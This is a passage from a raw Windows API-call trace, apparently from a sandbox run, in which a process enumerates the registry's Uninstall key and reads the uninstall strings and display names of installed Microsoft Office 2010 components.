lpString2="{90140000-00BA-0409-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-00BA-0409-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-00BA-0409-0000-0000000FF1CE}" [0068.254] LocalFree (hMem=0x626e60) returned 0x0 [0068.254] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-00BA-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.254] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.254] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.254] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.254] RegCloseKey (hKey=0x108) returned 0x0 [0068.254] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.254] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-00BA-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.254] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.254] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x626e60 [0068.254] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x2b | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.254] RegCloseKey (hKey=0x108) returned 0x0 [0068.254] lstrlenA (lpString="{90140000-00BA-0409-0000-0000000FF1CE}") returned 38 [0068.254] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.254] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x2b, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2b) returned 0x0 [0068.254] LocalFree (hMem=0x626e60) returned 0x0 [0068.254] LocalFree (hMem=0x626b70) returned 0x0 [0068.254] LocalFree (hMem=0x626a88) returned 0x0 [0068.254] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x39, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-0115-0409-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.254] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.254] lstrlenA (lpString="\\") returned 1 [0068.254] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.254] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.254] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.254] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.254] lstrlenA (lpString="{90140000-0115-0409-0000-0000000FF1CE}") returned 38 [0068.254] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.254] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.254] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-0115-0409-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0115-0409-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0115-0409-0000-0000000FF1CE}" [0068.254] LocalFree (hMem=0x626e60) returned 0x0 [0068.254] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0115-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.254] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.255] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.255] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.255] RegCloseKey (hKey=0x108) returned 0x0 [0068.255] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.255] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0115-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.255] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x3a) returned 0x0 [0068.255] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x626e60 [0068.255] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x3a | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x3a) returned 0x0 [0068.255] RegCloseKey (hKey=0x108) returned 0x0 [0068.255] lstrlenA (lpString="{90140000-0115-0409-0000-0000000FF1CE}") returned 38 [0068.255] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.255] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x3a, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x3a) returned 0x0 [0068.255] LocalFree (hMem=0x626e60) returned 0x0 [0068.255] LocalFree (hMem=0x626b70) returned 0x0 [0068.255] LocalFree (hMem=0x626a88) returned 0x0 [0068.255] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x3a, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.255] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.255] lstrlenA (lpString="\\") returned 1 [0068.255] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.255] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.255] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.255] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.255] lstrlenA (lpString="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}") returned 94 [0068.255] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x626a88 [0068.255] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.255] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}" [0068.255] LocalFree (hMem=0x626e60) returned 0x0 [0068.255] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.255] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.255] LocalAlloc (uFlags=0x40, uBytes=0x13b) returned 0x62cf98 [0068.255] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62cf98, lpcbData=0x12ef10*=0xba | out: lpType=0x0, lpData=0x62cf98*=0x22, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.255] RegCloseKey (hKey=0x108) returned 0x0 [0068.255] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62cf98*=0x22, cb=0xba, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0xba) returned 0x0 [0068.255] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.256] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62cf98 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.256] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x626ba8 [0068.256] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626ba8, lpcbData=0x12ef0c*=0x2b | out: lpType=0x0, lpData=0x626ba8*=0x4d, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.256] RegCloseKey (hKey=0x108) returned 0x0 [0068.256] lstrlenA (lpString="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}") returned 94 [0068.256] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x5e, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x5e) returned 0x0 [0068.256] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626ba8*=0x4d, cb=0x2b, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2b) returned 0x0 [0068.256] LocalFree (hMem=0x626ba8) returned 0x0 [0068.256] LocalFree (hMem=0x62cf98) returned 0x0 [0068.256] LocalFree (hMem=0x626a88) returned 0x0 [0068.256] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x3b, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.256] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.256] lstrlenA (lpString="\\") returned 1 [0068.256] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.256] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.256] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.256] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.256] lstrlenA (lpString="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}") returned 95 [0068.256] LocalAlloc (uFlags=0x40, uBytes=0x114) returned 0x626a88 [0068.256] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.256] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}" [0068.256] LocalFree (hMem=0x626e60) returned 0x0 [0068.256] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.256] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.256] LocalAlloc (uFlags=0x40, uBytes=0x13b) returned 0x62cf98 [0068.256] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62cf98, lpcbData=0x12ef10*=0xba | out: lpType=0x0, lpData=0x62cf98*=0x22, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.256] RegCloseKey (hKey=0x108) returned 0x0 [0068.256] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62cf98*=0x22, cb=0xba, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0xba) returned 0x0 [0068.256] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.256] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62cf98 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.256] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x626ba8 [0068.256] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626ba8, lpcbData=0x12ef0c*=0x2b | out: lpType=0x0, lpData=0x626ba8*=0x4d, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.256] RegCloseKey (hKey=0x108) returned 0x0 [0068.256] lstrlenA (lpString="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}") returned 95 [0068.256] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x5f, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x5f) returned 0x0 [0068.256] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626ba8*=0x4d, cb=0x2b, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2b) returned 0x0 [0068.256] LocalFree (hMem=0x626ba8) returned 0x0 [0068.257] LocalFree (hMem=0x62cf98) returned 0x0 [0068.257] LocalFree (hMem=0x626a88) returned 0x0 [0068.257] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x3c, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-0117-0409-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.257] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.257] lstrlenA (lpString="\\") returned 1 [0068.257] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.257] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.257] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.257] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.257] lstrlenA (lpString="{90140000-0117-0409-0000-0000000FF1CE}") returned 38 [0068.257] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.257] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.257] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-0117-0409-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0117-0409-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0117-0409-0000-0000000FF1CE}" [0068.257] LocalFree (hMem=0x626e60) returned 0x0 [0068.257] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0117-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.257] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.257] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.257] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.257] RegCloseKey (hKey=0x108) returned 0x0 [0068.257] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.257] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0117-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.257] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x3a) returned 0x0 [0068.257] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x626e60 [0068.257] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x3a | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x3a) returned 0x0 [0068.257] RegCloseKey (hKey=0x108) returned 0x0 [0068.257] lstrlenA (lpString="{90140000-0117-0409-0000-0000000FF1CE}") returned 38 [0068.257] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.257] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x3a, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x3a) returned 0x0 [0068.257] LocalFree (hMem=0x626e60) returned 0x0 [0068.257] LocalFree (hMem=0x626b70) returned 0x0 [0068.257] LocalFree (hMem=0x626a88) returned 0x0 [0068.257] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x3d, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{91140000-0011-0000-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.257] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.257] lstrlenA (lpString="\\") returned 1 [0068.257] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.257] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.257] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.257] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.257] lstrlenA (lpString="{91140000-0011-0000-0000-0000000FF1CE}") returned 38 [0068.257] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.257] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.258] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{91140000-0011-0000-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-0011-0000-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-0011-0000-0000-0000000FF1CE}" [0068.258] LocalFree (hMem=0x626e60) returned 0x0 [0068.258] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-0011-0000-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.258] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.258] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.258] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.258] RegCloseKey (hKey=0x108) returned 0x0 [0068.258] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.258] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{91140000-0011-0000-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.258] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x28) returned 0x0 [0068.258] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x626e60 [0068.258] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x28 | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x28) returned 0x0 [0068.258] RegCloseKey (hKey=0x108) returned 0x0 [0068.258] lstrlenA 